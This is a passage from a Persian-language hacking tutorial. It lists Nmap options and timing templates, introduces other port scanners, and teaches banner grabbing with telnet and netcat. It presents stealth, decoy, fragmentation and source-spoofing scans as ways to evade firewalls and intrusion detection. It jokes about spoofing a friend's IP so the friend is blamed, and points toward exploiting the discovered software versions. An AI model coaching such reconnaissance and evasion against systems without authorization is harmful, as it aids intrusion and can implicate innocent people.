  .است یا خير )لينوکس X Windows همان    ( Xجرای سرویس بردن به این مطلب که آیا ميزبان مذکور در حال ا

  .بعد جواب را نمایش ميدهد. بعد یک سری کارها خود برنامه انجام ميدهد 
  

امکانات خوبی را در اختيار ما قرار می دهد که البته بيѧشتر در تمѧام مقѧالاتی و آموزشѧها کѧه در      این برنامه  برای زمان بندی عمل پویش پورت         
ین برنامه نوشته شده است در حѧق ایѧن گزینѧه مѧافوق مهѧم اجحѧاف شѧده اسѧت زیѧرا بيѧشتر دیѧوار آتѧش هѧا کѧه قيمѧت متوسѧطی دارنѧد و نѧرم                                باره ا 

  ...  و MacAfee  و semanticافزاری هستند همه از الگوی زمان بندی تهاجم را پشتيبانی ميکند از جمله محصولات 
 ѧه             که کار این الگو باعث ميشود که انواع اسѧی آن از جملѧدهای مخفѧم مѧع هѧضی مواقѧوا و در بعѧرود هѧشود و بѧما دود بѧی شѧر مخفѧکن غيFTP 

Bounce چون شما دارید پشت سر هم به طرف بسته ميدهيد .  
  : را مشاهده ميکنيدNmapدر جدول زیر الگوهای زمان بندی قابل استفاده در برنامه اهميت این موضوع پی بردید که حال 

  
زمان صرف شده برای    زمانیفواصل  نام الگو

  اسکن هر ميزبان
زمان مجاز برای 

دریافت پاسخ مورد نظر 
  از ميزبان

اسکن ( پویش موازی 
  )هم زمان چند ميزبان 

Paranoid ۵خير   دقيقه۵  نامحدود   دقيقه  
Sneaky ١۵خير   ثانيه١۵  نامحدود   ثانيه  
Polite ۴١٠حداکثر ( ثانيه ۶  نامحدود   ثانيه 

   )هثاني
  خير

Normal -  ١٠حداکثر ( ثانيه ۶  نامحدود 
  )ثانيه 

  خير

Aggressive -  ۵۵٫١حداکثر ( یک ثانيه    دقيقه 
  )ثانيه 

  بله

Insane -  ٧۵بله   ثانيه٣حداکثر    ثانيه  
الگوی تعریفی توسط 

 کاربر
Scan_delay  Host_timeout Initial_rtt_timeout 

Min_rtt_timeout  
Max_rrt_timeout 

Max_parallelism 
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 کѧه الگѧوی کلѧی را    بѧرای نمونѧه بѧه فرمѧان زیѧر توجѧه کنيѧد       .  در اختيѧار گرفѧت  T–تمام الگوهای پيش تعریف شده را ميتوان بѧا اسѧتفاده از گزینѧه          
  :نمایش ميدهد 

Nmap T Sneaky sS xxx.xxx.xxx.xxx p 1-100 
  .ل را مشخص ميکند  هم مدSneaky زمان بندی  را فعال می کند T که مکانيزم پویش است ، sSخوب 

  
تѧاخير   حداقل فاصله زمانی مѧورد نيѧاز بѧر حѧسب ميلѧی ثانيѧه بѧه عنѧوان           Scan_delayخوب شما خودتان هم می توانيد یک مدل تعریف کنيد که            

 حداکثر زمان قابل صرف بر حسب ميلی ثانيه را جهѧت اسѧکن پѧورت                Host_timeoutگزینه  . ميان اسکن دو ميزبان مختلف را مشخص ميکند       
  مدت زمان انتظѧار بѧر حѧسب ميلѧی ثانيѧه را جهѧت دریافѧت پاسѧخ لازم از ميزبѧان               rtt_timeoutسه گزینه   . های یک ميزبان خاص تعيين ميکند     

  Max_parallelismگزینѧه آخѧر     .  ميلѧی ثانيѧه اسѧت      ٣٠٠ برای دریافت پاسخ     nmapالبته کمترین زمان در برنامه      .مورد نظر مشخص می کنند    
 را بѧه آن بدهيѧد   ١البتѧه اگѧر مقѧدار    . ميتوان پویش نمѧود ) یا هم زمان به عبارت دیگر ( را مشخص می کند که به طور موازی         تعداد پورت هایی    

  . است٣۶کلا این ویژگی را غير فعال کرده اید البته ظرفيت این مقدار حداکثر 
  

  :ليست سویچ ها عبارت اند از 
  

نام سویچ در   سویچ  
NMapWin 

    توضيحات سویچ ها

١  -sT Connect  مکانيزم پویش مودبانه است بالا زیاد توضيح دادم!!  
٢  -sS SYS Stealth مکانيزم پویش مخفيانه است.  
٣  -sF FIN Stealth  به هر پورت یک بستهTCP FINاگر .  ارسال ميشود

RESET برگردد پورت بسته است، در غير این 
  .است صورت احتمالا باز 

۴  -sP Ping Sweep  مکانيزم کشف یک ماشين در شبکه با استفاده از پيغام
ICMP.   

۵  -sU UDP Scan  به هر پورت یک بستهUDPاگر .  ارسال ميشود
RESET یا پيغام ICMP ،برگردد پورت بسته است  

  .در غير این صورت احتمالا باز است 
۶  -sN Null Scan ل می شود که  در آن هيچ به هر پورت یک بسته ارسا

... )   و FIN و ACKمثل ( یک از بيتهای کنترلی  
 برگردد پورت بسته است، RESETاگر . فعال نيست

  .در غير این صورت احتمالا باز است 
٧  -sX Xams Tree  به هر پورت یک بستهTCP با بيتهای فعال FIN و 

URG و PUSHاگر .  ارسال ميشودRESET 
ته است، در غير این صورت احتمالا برگردد پورت بس

  .باز است 
٨  -sO IP Scan یعنی اینکه ببينيم آیا پروتکل .برای اسکن پروتکل است

مثلا با . مورد نظر روی ماشين هدف هست یا که خير
هدر مدر ندارد خالی است (  خام  IPارسال یک بسته 

 SPSميتوانيم ببينيم آیا پروتکل ١٣٠با شناسه )این فيلد 
)Secure Packet Shield ( آیا روی ماشين هست یا
 با محتوای ICMPاگر در جواب یک بسته . نه

protocol unreachable بگيریم ميشود گفت این 
اگر . پروتکل روی ماشين هدف نصب نشده است 

جواب به ما ندهد ميشود گفت که این پروتکل روی 
  شيوه کار ، این را ذکر کنم که این  شيوه.ماشين هست
  !!درستی است

٩  -sI Idle Scan  برای اسکن ميزبان هایی است که از سرویسIdentd 
 فال گوش ١١٣که به صورت بيش فرض روی پورت 

می مانند است اطلاعات تکميلی از جمله ليست 
  .را بدست می آورد..  کاربران و

١٠ -sA ACK Scan  به هر پورت یک بستهTCP ACKارسال می شود  .
برگردد پورت بسته است، در غير این  RESETاگر 
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  .صورت احتمالا باز است 
١١ -sW Window Scan  نوع مخصوصی از مکانيزم برای ویندوز است که در

 است با این تفاوت که SYS ACKاین مکانيزم مشابه 
 استفاده شده TCP در بسته Window Sizeفيلد 
  .است

١٢ -sR RCP Scan  مکانيزم کشف سرویسRPC این مکانيزم .( شبکه در
} خودش از مکانيزم پویش مودبانه استفاده ميکند { 

 RPCکليه پورت های باز و آماده استفاده از سرویس 
  را بعلاوه اطلاعات port mapperکه اصطلاحا 

  )تکميلی آشکار ميکند 
١٣ -sL List Scan  خوب این گزینه را من زیاد استفاده نمی کنم ولی فکر

 را انجام ميدهد با امنيت Pingمل ميکنم همان ع
  .بيشتر

١۴   -p {x-x} Port Range  با این گزینه ليست پورت های را که باید اسکن کند
  مشخص می کنيم به این صورت که 

١۵ -D {x-x} Use Decoy  خوب در باره این بالا توضيح دادم که یکی از
است که رابطه مستقيمی با مکانيزمهای مخفی ماندن 

برای استفاده از این . پهنای باند ارتباطی شما دارد
پيدا  ) Clintترجيحا  ( IPمکانيزم شما یک سری 

و بعد !!!) به مقدار لازم نسبت به شکم خودتان ( کرده 
 ت به وسيله یک علاممدر قالب ليستی که اقلااز سویچ 

  .ی کنيدمبارکه کاما از یکدیگر جدا شده اند ذکر م
١۶ -b {x-x} Bounce Scan  خوب درباره این که خيلی بالا توضيح دادم همان

 است که بعد از FTP Bounceمکانيزم مخفی ماندن 
  . ها را وارد می کنيدIP یا IPسویچ 

١٧ -e {x} Device  ميزبانهای که بيش از یک رابط شبکه را در مورد
يين رابط شبکه مورد استفاده قرار داده اند ، امکان تع

مورد نظر را جهت برقراری ارتباط با ميزبان در 
 رابط شبکه مورد نظر نالبته تعيي. اختيار می گزارد

  .بعد از سویچ الزامی  است
١٨ -S {x} Source Address  این سویچ به شما  اجازه ميدهد  تا آدرسIP منبع 

شما با این شيوه  . ارسال کننده بسته ها را مشخص کنيد
را درج کنيد !!!  یکی از دوستان خود IPيتوانيد مثلا م

آن بد بخت خفت ) IDS ( دکه اگر یک دفعه افسر اوم
انشااالله خدا ).عجب کار کثيف و پليدی ( کند نه شما را 

  .من ببخشد به خاطر آموزش دادن این چيزها به ملت
 کنم این شيوه در مورد ميزبان هایی که چند اضافهاین 

ارند زیاد کارایی ندارد چرا آن را اتصال شبکه د
 این .بشوید" فيل ، سوف " خودتان کشف کنيد انشااالله 

اضافه کنم که گزارش حاصل از عمليات به دست شما 
 این وسط تا دنمی رسد ، که باید یک کمی مخ بگزاری

اگر از این مخ ها .جواب پویش را بدست بی آورید
 تا شخص دیگری ندارید ميتوانيد این کار را انجام دهيد

  !! را گناه کار جلوه دهيد
  .عجب آدم پست ميشود گاهی 
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١٩ -g {x} Source Port  امکان تعيين پورت منبعی که با استفاده از این سویچ
کليه عمليات اسکن توسط این برنامه از آن جا انجام 

بنابراین ذکر شماره . ميشود ، در اختيار قرار ميگيرد
در .(  گزینه الزامی است پورت مزبور بعد از این

برخی موارد که دیوار آتش مگس کار ميشود و 
عمليات ما را هی ناکام می گزارد این گزینه فوق 

 یکی از پورت ها معروف  مثل نالعاده است و تعيي
  )آن راه گشا است  " UDP  ۵٣"  و ٢٠ و ٨٠

٢٠ -PT TCP Ping  این گزینهNmap از شيوه ای به  را وادار ميکند
این .  استفاده کندping برای عمل TCP Pingنوان ع

 است و پورت پيش Telnetشيوه کاملا مشابه عمل 
در صورت اینکه پورت مورد .  است٨٠فرض هم 

نظر را بخواهيد تغيير دهيد باید شماره آن را بعد از 
  .سویچ وارد کنيد

٢١ { –PT –PI } TCP + ICMP لينوکس ها سویچ مشابه آن در –PB است که از هر 
  .دو شيوه همراه هم استفاده می کند

٢٢ -PI ICMP Ping  در این شيوه از پيغامICMPاستفاده ميشود .  
٢٣ -P0 Don’t Ping  با انتخاب ابن گزینه از انجام عملPing خود داری 

 IPميکند در نتيجه برنامه بدون دانستن اینکه اصل آن 
  .را انجام ميدهد) پویش پورت(  کاربالا هست یا نه این
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٢۴ -f Fragmentation  این سویچ موجب ميشود تا برنامه یکی از مکانيزمهای
جهت  ) ٧ یا ۶ یا ٣ یا ٢شماره های ( پنهانی خود 

 مکانيزم ۴البته هر کدام از این . پویش استفاده کند 
 منفصل به IPدرون پرانتز را به صورت بسته های 

 تکه تکه شده مورد استفاده TCP  ،"هدر " همراه 
این کار برای پيشگيری از بلوکه شدن . قرار ميدهد

بسته های مورد نظر توسط دیوار اتش  و یا آقا دزد 
  .انجام ميشود) IDSسيستمهای کشف تهاجم  (رگي

٢۵ -I Get Idented Info  اگر از مکانيزم–sT استفاده کنيد یک سری اطلاعات 
اضافی هم برای شما جمع آوری ميکند که البته عالی 

  .نيز هستند
٢۶ -R Resolve All  در موقعی که یک رنجIP را برای پویش به آن 

 های که جواب IPميدهيد به طور پيش فرض روی 
 آن ها ميگردد اگر این را انتخاب DNSميدهند دنبال 

 های هم که جواب نمی دهند هم این کار IPکنيد روی 
  !!ا انجام ميدهد ر

٢٧ -n Do not Resolve  خوب این امکان پيش فرض بالای را از کار مياندازد
  DNS هم که جواب ميدهند دنبال اسم IPیعنی روی 
  .هم نميگردد

٢٨ -F Fast Scan این گزینه فقط پورت های مشهور را اسکن ميکند  
٢٩ -O OS Detection  سعی ميکند سيستم با اضافه کردن این سویچ برنامه

  .عامل  روی ماشين هدف را کشف کند
٣٠ -iR Random Host  امکان انتخاب تصادفی ميزبان های مورد نظر را از

ليستی که شامل این اسامی است که شما به برنامه 
  !!ميدهيد را دارا ميباشد 

٣١ --resume Resume  با استفاده از ( در صورت لغو عمليات پویش
CTRL-C (نام نر این را فعال کرده باشيد با تعيياگ 

  .فایل مورد نظر ميتوانيد نتایج را مشاهده کنيد
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٣٥    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

٣٢ -d Debug کند  حالت اشکال زدایی را فعال می.  
٣٣ -v Verbose  جزیيات را نمایش ميدهدپيشرفت عمل پویش با.  

٣۴ -vv Very Verbose  جزیيات را نمایش ميدهدپيشرفت عمل پویش با تمام.  
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٣۵ -T 0 Throttle Paranoid  ۵هر پنج . را ، ولی بازم ميگم۶بالا توضيح دادم این 
  .دقيقه یک بسته ارسال ميشود

٣۶ -T 1 Throttle Sneaky  ثانيه یک بسته می فرستد١۵هر پانزده .  
٣٧ -T 2 Throttle Polite يفرستد یک بسته م٠٫۴هر.  
٣٨ -T 3 Throttle Normal ای که هيچ هارسال با حداکثر سرعت ممکن ، بگو ن 

  .پورت آزمایش نشده ای باقی نماند
٣٩ -T 4 Throttle Aggressive  ثانيه بيشتر منتظر نميشود١٫٢۵برای دریافت پاسخ .  
۴٠ -T 5 Throttle Insane  ثانيه منتظر ميشود٠٫٣برای دریافت پاسخ .  
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۴١ --host_timeout –{X} Host Timeout  این سویچ حداکثر زمان قابل صرف بر حسب ميلی
ثانيه را جهت اسکن پورت های یک ميزبان خاص 

  .تعيين ميکند
۴٢ --max_rtt_timeout {X} Max RTT  این سویچ حداکثر مدت زمان انتظار بر حسب ميلی

پاسخ لازم از ميزبان مورد نظر ثانيه را جهت دریافت 
  .مشخص می کنند

۴٣ --max_parallelism {X} Parallelism  این سویچ تعداد پورت هایی را مشخص می کند که به
ميتوان ) یا هم زمان به عبارت دیگر ( طور موازی 
  .پویش نمود

۴۵ --min_rtt_timeout {X} Min RTT ب ميلی این سویچ حداقل مدت زمان انتظار بر حس
ثانيه را جهت دریافت پاسخ لازم از ميزبان مورد نظر 

  .مشخص می کنند
۴۶ --initial_rtt_timeout {X} Initial RTT  این سویچ مدت زمان پيش فرض برای این انتظارها

  . ثانيه است۶زمان پيش فرض . را مشخص ميکند
۴٧ --scan_delay {X} Scan Delay نياز بر حسب ميلی ثانيه این سویچ فاصله زمانی مورد 

به عنوان تاخير ميان اسکن دو ميزبان مختلف را 
  .مشخص ميکند
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۴٨ -iL "مسير فایل" Input File  این گزینه با وارد کردن فایل های با قالب مخصوص
  .. .***ميتوانيد کار را ادامه دهيد و

۴٩ -oN "مسير فایل" Output File مامی خروجی های حاصل از این گزینه موجب ثبت ت
  .**برنامه در قالبی که شما بتوانيد مشاهده کنيد ميشود

ت
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۵٠ --win_nopcap No Pcap  از توابعPcap به جای آن !!! دیگر استفاده نمی کند 
  . استفاده ميکندSocket Rawاز توابع 

۵١ --win_trace winTrace گر شما ميدانيد قربانی از سيستم عامل های خوب ا
 استفاده ميکند با انتخاب این گزینه یک تمایکروساف

  .کمی اطلاعات بيشتری برای شما دست پا ميکند
۵٢ --win_noiphlpapi No IP Hlp Api  ثانيه ١۵مثل گزینه بالا است ولی برای هر بسته فقط 

  .بيشتر منتظر جواب نميشود
۵٣ --win_norawsock No Raw Sockets  با انتخاب این گزینه توابعRaw Sockets هم استفاده 

  .نمی شود
۵۴ --win_forcerawsock Force Raw Socket  خوب این گزینه باعث ميشود فقط توابعRaw 

Socketاستفاده شود .  
۵۵  --win_nt4route NT4 Route  آزمایش ميکند کد های مسير یابNT4همين. را!!  
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٣٦    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

  :گوی عمومی دستورات و سویچ های این برنامه به صورت زیر ميباشدال
nmap [Scan Type(s)] [Options] <host or net list> 

  
   !!!هخوب حالا دیدید چرا گفتم این برنامه یک یک است با این همه مکانيزم خوب معلومه نفس کش می طلب

وضيح دادم برای شما ها ولی فکر کنم هيچ کسی قبل از من این جوری این برنامه را بѧاز   تمن تمام مکانيزم ها و سویچ های این برنامه را کاملاً        
  .ولی فکر ميکنم تک تک سویچ های این برنامه به کار شما ها بياید !! نکرده باشد

  :بقيه کار با خودتان ميریم سر ابزار بعدی به نام
 XP از جمله NT دارد که هيچ مشکلی ندارد و روی تمام نسخ ویندوز nmap-3.75-win32 یک نسخه با نام Nmapاین ذکر کنم که برنامه 

  .به بهترین شيوه ممکن کار ميکند البته در خط فرمان توصيه ميکنم این حتما استفاده کنيد تا با مقایسه جوابها به حرف من پی ببرید... و 
٢- Net Scan Tools  مختصری توضيح ميدهم که بالا در باره کارهاش توضيح دادم این جا هم یک:  

  
  

.  اسѧت  Nmap در نѧرم افѧزار       sP–  است که دقيقا مشابه سѧویچ         NetScannerکه همانطور که در شکل مشاهده ميکنيد این برنامه دارای امکان            
  . ها را برای اینکه آیا فعال هستند یا نه مورد برسی قرار دادIPاز ) رنج ( با این امکان ميتوان محدوده ای مشخص 

دیگѧه همѧين   .  یا محدوده آن به پویش پورت می پردازیدIP است که البته بد نيست که شما با وارد کردن Port Scannerن دیگر این برنامه امکا
  .چون خيلی کار با آن تابلو بيشتر توضيح نميدهم 

  
  : که این شکلی  استSuper Scan  قبلی هم استفاده ميکنم ابزارهای ابزار بعدی که من معرفی ميکنم البته خودم هم از آن مثل-٣
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٣٧    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

البتѧه دارای امکانѧات خѧوبی    !! این ابزار بدی نيست یعنی اصلا نميشود به آن گفت بد ولی یک زره ای شلوغ و البته بی روال دقيقا مثل این مقاله                      
  :سعی ميکنم همه را توضيح بدهمدارای یک سری بخش است که .  سه مرحله ای استفاده ميکند٣ این برنامه از مکانيزم دست تکانی .هم است

١- Host name Lookup :  خوب تابلو اینجا باید اسم یاIPهدف خودتان را وارد کنيد تا یک سری اطلاعات درباره آن بدست آورید .  
 کѧه بѧرای ایѧن    از جمله ليست پورت های را کѧه ميخѧواهيم پѧویش بکنѧيم    خوب پيکر بندی را در اینجا تنظيم ميکنيم        : Configuration قسمت   -٢

 Helper apps in شѧما هѧم ميتوانيѧد قѧسمت     کار هم ميتوانيد خودتان ليѧست درسѧت کنيѧد هѧم ميتوانيѧد از ليѧست هѧای هѧم راه برنامѧه اسѧتفاده کنيѧد           
right-click menu را با برنامه های مورد نظر خود پر کنيد مثلا برای گزینه Telnet    ѧام در وینѧين نѧه همѧتفاده   ميتوانيد از برنامه ای بѧدوز اس

 که وقتی یک پورت باز پيدا کرد برنامه با یک راست کليѧک روی آن بتوانيѧد بѧا نѧرم افزارهѧای                     ... و   NCکنيد یا نرمافزارهای دیگری همچون      
  ..که در این بخش مشخص کرده اید به ان پورت وصل شوید و

   . در این قسمت محدوده ای را که باید پویش شود را مشخص ميکنيمIP قسمت -٣
گزینѧه  .  ميتѧوانيم پارامترهѧای مѧورد نظѧر خѧود جهѧت کنتѧرل پѧویش  را مѧشخص کنѧيم          Scan Type  در بخѧش  Scan Type و Scan قسمت -۴

only Scan Responsive Ping باعث ميشود که برنامه از IP های که در جواب Ping د   (  پاسخی از خود نداده اندѧوده انѧویش  ) فعال نبѧاز پ
  .داری کندپورت های آنها خود 

بѧه منظѧور جمѧع    (  باعث ميشود تا برنامه پس از برقراری اتѧصال بѧا ميزبѧان و تحریѧک پѧورت مѧورد نظѧر        Host Responsive Showگزینه 
  .هرگونه اطلاعات بدست آورده از آن را نمایش بدهد) آوری اطلاعات لازم در باره آن 

  .اولين شماره پورت مورد نظر و آخرین آن محدوده مورد نظر خود را پویش کنيد هم ميتوانيد با وارد کرد All Port Fromقسمت آخر گزینه 
  
   :IpEyeنرم افزار -۴

قѧوی تѧر بѧوده و مکѧانيزم هѧای       ) Super Scan و Net Scan Tools( برنامه بعدی که ميخѧواهم معرفѧی کѧنم کѧه تѧا حѧدودی از دو برنامѧه بѧالا         
   . که مثل بقيه ابزار های خوب تحت خط فرمان اجرا ميشودIpEyeعبارت است از پویش مخفيانه را هم تا حدودی پشتيبانی ميکند 

  . ميتوانيد آن را تهيه کنيداینجا را در اختيار کاربر قرار ميدهد و از null و Xmas tree و FIN و SYSاین برنامه مکانيزم های 
   : که من جاهای مهم آن را تو پر کرده امرنامه شما یک همچين چيزی ميبينيدبعد از اجرای ب

ipEye 1.2 - (c) 2000-2001, Arne Vidstrom (arne.vidstrom@ntsecurity.nu) 

          - http://ntsecurity.nu/toolbox/ipeye/ 

Error: Too few parameters. 

 Usage: 

   ipEye <target IP> <scantype> -p <port> [optional parameters] 
  ipEye <target IP> <scantype> -p <from port> <to port> 
 [optional parameters] 

   <scantype> is one of the following: 

     -syn  = SYN scan (  مرحله ایدودست تکانی  پويش مخفيانه  ) 

     -fin  = FIN scan ( ردبه درد ويندوز نمی خو  ( نقض اصول پروتکل 

     -null = Null scan (نقض اصول پروتکل به درد ويندوز نمی خورد  ) 
     -xmas = Xmas scan>br> ( نقض اصول پروتکل  به درد ويندوز نمی خورد ) 
     (note: FIN, Null and Xmas scans don't work against Windows systems. 

  

  [optional parameters] are selected from the following: 

     -sip <source IP>  = source IP for the scan 
     -sp <source port> = source port for the scan 
     -d <delay in ms>  = delay between scanned ports in milliseconds 
                         (default set to 750 ms) 

  ).خييييييييييييييييييلی سخت تایپ کردن(  بار تکرار کنيد تو یک مقاله ۴٠ به خدا زور دارد یک مطلب اًيقتخوب حق
  :همانطور که در بالا مشاهده می کنيد شکل عمومی این دستور در این برنامه این شکلی 

ipEye <target IP> <scantype> -p <port> [optional parameters] 
 
ipEye <target IP> <scantype> -p <from port> <to port> 

  
همѧه ایѧن مکѧانيزم هѧا را در قبѧل توضѧيح       (  نوع مکانيزم پویش را مشخص ميکند scantype هدف است و گزینه IP همان target IPکه گزینه 

 شماره پورت آغѧازین و  from portو به جای که تابلو  هميشه باید باشد که معرف پورت است p–و سویچ  )  و به طور خلاصه هم در بالادادم
  . اخرین شماره پورت را برای پویش مينویسيد to portبه جای 
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٣٨    صفحه  !!آموزش هک و معرفی نرم افزار های مربوطه توسط خودم 

  .خوب در جواب این برنامه جلوی هر یک از پورت ها یک واژه ای مينویسد که معرف چيزی است که آن را هم ميگویم
   !!دهد  یعنی کامپيوتر در آن طرف هست ولی به پورت گوش نمی Closedواژه 
  !! یا چيزی مثل آن دهد هست که اجازه اتصال به آن پورت را نمی)دیوار آتش (  firewall یعنی اینکه یک Rejectه واژ

   !!زند و یا اصلا کامپيوتری اونور نيست  می چيز را پس  همهدیوار آتش یا چيزی مثل آن یعنی اینکه یک Dropواژه 
  !! هم که یعنی اینکه آن پورت باز Openواژه 

  
   :Fscanرنامه ب -۵

کѧه کѧار بѧا آن تحѧت خѧط فرمѧان       .  کѧاربرد دارد   UDP است که برای پѧویش پѧورت هѧای           FScanبرنامه بعدی که قسط معرفی آن را دارم برنامه          
  :امکان پذیر بوده و البته خيلی راحت است و شکل عمومی دستور در آن به صورت زیر ميباشد

Fscan –u <from port>–<to port> <target IP> 
امѧا در نѧشان دادن نتيجѧه    . ) را بѧا خѧط  فاصѧله از هѧم جѧدا کنيѧد       IPحتما دو شماره  (  کاملا شبيه بالا استتوضيحات این شکل عمومی دستور   که  

  !!پویش فقط پورت های باز را نشان ميدهد نه چيز دیگری را 
  . بيایدp– هم دارد که ميگویم و البته باید قبل از سویچ یک سری سویچ

البتѧه هѧم زیѧاد از ایѧن برنامѧه انتظѧار        .که با استفاده از این ميتوانيد اطلاعات پѧورت هѧای را کѧه بѧه تحریѧک پاسѧخ دادن مѧشاهده کѧرد                   :  b–سویچ  
  !! به شما جواب بدهدNmapنداشته باشيد مثل 

  . را پویش می کندTCP استفاده ميشود و پورت های u–به جای سویچ   : p–سویچ 
  . برای تنظيم مدت زمان این برنامه است t–   و d– و c–و سویچ های 

  . ببينيدfscanليست سویچ ها و توضيحات آن را ميتوانيد با نوشتن دستور 
  
   :UDP Domain Scanبرنامه  -۶

 IP است که دارای قابليتهای بيѧشتری اسѧت ازجملѧه ميتوانѧد یѧک رنѧج       UDP Domain Scanبرنامه دیگری را که ميخواهم معرفی کنم برنامه 
  :سيمای این نرم افزار را در زیر مشاهده می کنيد).اه اه ( البته این نرم افزار گرافيکی است !! ا برای باز بودن پورت ها پویش کندر

  
  

 هѧم  ٢ اسѧت و قѧسمت   IP که در شکل مشاهده می کنيد برای مشخص کѧردن رنѧج   ١قسمت  . خوب فقط این توضيح بدهم که یک دفعه اشتباه نکنيد         
در .  بایѧد منتظѧر باشѧد را مѧشخص مѧی کنѧد          IP هم وقفѧه زمѧانی را کѧه بѧين هѧر پѧویش                Intervalگزینه  . دن رنج پورت ها است    برای مشخص کر  

  .. بگردید وBO2K هم ميتوانيد دنبال اسب تروا Configقسمت 
  .کار با این خيلی ساده 

  
همѧان توسѧعه دهنѧده      ( Arne Vidstrom خѧوبم آقѧای   این ابزار توسѧط دوسѧت  . استWUPSآخرین ابزار پویش پورتی که معرفی ميکنم ابزار 

این برنامه یک مѧشکل کوچولѧو دارد و آن عѧدم توانѧایی پѧویش یѧک                !! این ابزار هم گرافيکی است      . طراحی و توسعه یافته است     ) IpEyeابزار  
پس من به همين خاطر دیگه توضيح نميدهم . ست ساده اکار با این یکی واقعاً. است البته ابزار بالای را به همين خاطر اول معرفی کردم    IPرنج  

  .در باره این ابزار
  

 به منظور اینکه اصلا آیا ماشين فعال هست یا نѧه و یѧا اگѧر فعѧال هѧست      IPخوب تا به این جا یک سری نرم افزار در باره پویش پورت و پویش           
  .به شما معرفی کردم و آموزش نيز دادم... چه پورت هایی از آن باز است و
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الا هنوز ما در مرحله جمع آوری اطلاعات پایه از هدف هستيم یѧک گѧام دیگѧر و البتѧه آخѧرین گѧام از مرحلѧه کلѧی جمѧع آوری اطلاعѧات ، کѧه                                   ح
 " Grabbing Bannerجمѧع آوری اطلاعѧات بѧه روش    " البته خيلی راحت است و بسيار با ارزش کѧه معمѧولا هѧم نادیѧده گرفتѧه ميѧشود مرحلѧه        

  .است
  Grabbing Bannerعات به روش جمع آوری اطلا

  :مقدمه 
تا همين چند صباح پيش اصلا .  از سيستم های هدف با سختی آن چه امروز شاه آن هستيم ، نبودتدر گذشته نه چندان دور ، جمع آوری اطلاعا

 ساده یک دو جين اطلاعات Telnetمدیران سایتها حساسيت خاصی در این باره نداشتند و آدم با یک ) به غير از سایت های مهم و معروف ( 
اساس کار در این روش برپایه .را به طور آزاد در اختيار کاربر قرار ميدادند... نام ميزبان ، نوع سيستم عامل و شماره نسخه آن واز جمله 

 آن را باز کرده )یک نوع نرم افزار کاربردی( اتصال به پورت باز است چون اصولا هنگامی یک پورت باز است که یک سرویس دهنده 
خوب اگر ما به آن پورت متصل شویم تا ببينيم کدام سرویس دهنده آن را باز کرده است و شماره نسخه آن را !!! است تا با شبکه تعامل کند 

ميتوان شناسایی موارد سيستم عامل هم % ۵٠البته در . بفهميم ميتوانيم با استفاده از نقطه ضعف های آن سيستم آن را مورد تهاجم قرار بدهيم
  .ی ميشود باهاش تعامل کرد آن هم از نوع مورد علاقه خودمونکرد که آن هم مثل بالا

  
  : که تخصصی است جایگزین شده است از جمله ميتوان به موارد زیر اشاره کرد  کم بيش با برنامه دیگریtelnetامروزه برنامه 

  .استفاده ميشود   ،SHH یا اصطلاحا Secure Shell با عنوان SHHدر موارد بدست آوری اطلاعات از پروتکل 
  .  جهت اتصال به سرور پست الکترونيکی استفاده ميشودpine و یا از برنامه elm mailدر مورد پست الکترونيکی از برنامه 
  . استفاده ميشودLynxبرای اتصال به وب سرور از برنامه 

نوعی کلاینت برای سرویس دهنده خاصی هستند ، تقریبا در بيشتر موارد ميتوان به جای این البته از این دست برنامه بسيار است که برنامه ها 
و یا NC برنامه    یکسری اطلاعات را بدست می آورند والبته این برنامه ها چه کلاینت ها و.  استفاده کردNCاز  ) telnet(برنامه ضعيف 

telnet پس من به شما توصيه موکد ميکنم از هر دو نوع استفاده کنيد نه یک . ناکام ميماند یک سری دیگر که گروه اول از بدست آوری آنها
  .نوع از آنها

البته این را ذکر کنم پویش گر های پورت معمولا این کار را انجام ميدهند ولی من تجربه به خودم ثابت کرده که باید هميشه اگر کاری را 
ام دهيد نه اینکه بر عهده نرم افزار بگزارید چون ان نرم افزار شعور ندارد و فقط مسئله های را حل ميتوانيد خودتان انجام دهيد حتما ، خود انج

  .ميکند که یک دفعه برنامه نویس ان برایش حل کرده باشد
  : از شکل عمومی دستور زیر استفاده ميکنيم telnet برای متصل شدن به یک پورت با استفاده از برنامه

 
telnet hostname   port number 

  : از شکل عمومی دستور زیر استفاده ميکنيم NCو برای متصل شدن به یک پورت با استفاده از برنامه 
  

NC [-options] hostname port[s]  
 

 همين مطلب البته این را ذکر کنم بعد از پایان.  را ميگزاریم بقيه چيزها هم که تابلوv– ما فعلا سویچ [options-]که در این مورد به جای 
  . را ميدهمNCآموزش کامل 

  : است متصل شویمFTP که ٢١ به یک ماشين با پورت telnetو NC یک مثال ميزنم تا قضيه روشن شود ، ما ميخواهيم با برنامه 
C :\> telnet xxx.xxx.xxx.xxx 21 
C :\> NC –v xxx.xxx.xxx.xxx 21 

  :خوب در جواب برنامه اول این گونه جواب ميدهد 
Connected to xxxxxxxxxx  
220 ftp29 FTP server (UNIX(r) System V Release4.0) ready. 
SYST 
215 UNIX Type: L8 Version: SUNOS 

برای ان هایی که خيلی عجول .( خوب ما فهميدیم که این سرور  از چه نوع سيستم عامل و از چه برنامه ای برای سرویس دهی استفاده ميکند
  ) برای آن بگردند تا سرور هک کنندExploitرحله ميتوانند بروند و دنبال حفره های این برنامه و اند در این م

 جواب telnetخيلی بهتر از  ) NC(  هم مين جوری جواب ميدهد که من دیگه از آتن صرف نظر کردم این ذکر کنم این برنامه Ncبر نامه 
  .گفتم تمام و یا به عبارت بهتری اکثر پویش گرهای پورت این گونه کار ها را انجام ميدهندالبته قابل ذکر است همانگونه که در بالا . ميدهد

یا اصطلاحا انتقال محتوای HTTP  باید بعد از برقراری ارتباط  ما یک سری دستور برای آن با استفاده از پروتکل ٨٠برای اتصال به پورت 
  :به مثال زیر توجه کنيد . وب سرور کنيمحواله ) Hyper Text Transfer Protocol ( فرا متن 

C :\> Telnet.exe xxx.xxx.xxx.xxx 80 
Connecting To xxx.xxx.xxx.xxx 
 
HTTP/ 1.1 200 OK 
Date: Tue. 29 Jun 2002 07:18:07 
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Server: Apache /1.3.14 (UNIX) (Red-hat/Linux) 
…. 

 در حال ٨٠سرویسی در روی پورت " يدهد که حاوی این موضوع است که خوب من این جواب را کوتاه کردم و آخرش به ما یک پيغام م
خوب در این حالت این سرویس چون ما با اون ارتباط برقرار کردیم ميخواهد ببينه ما چه ميگيم و یا به عبارتی از ما یک " !!! اجرا است 

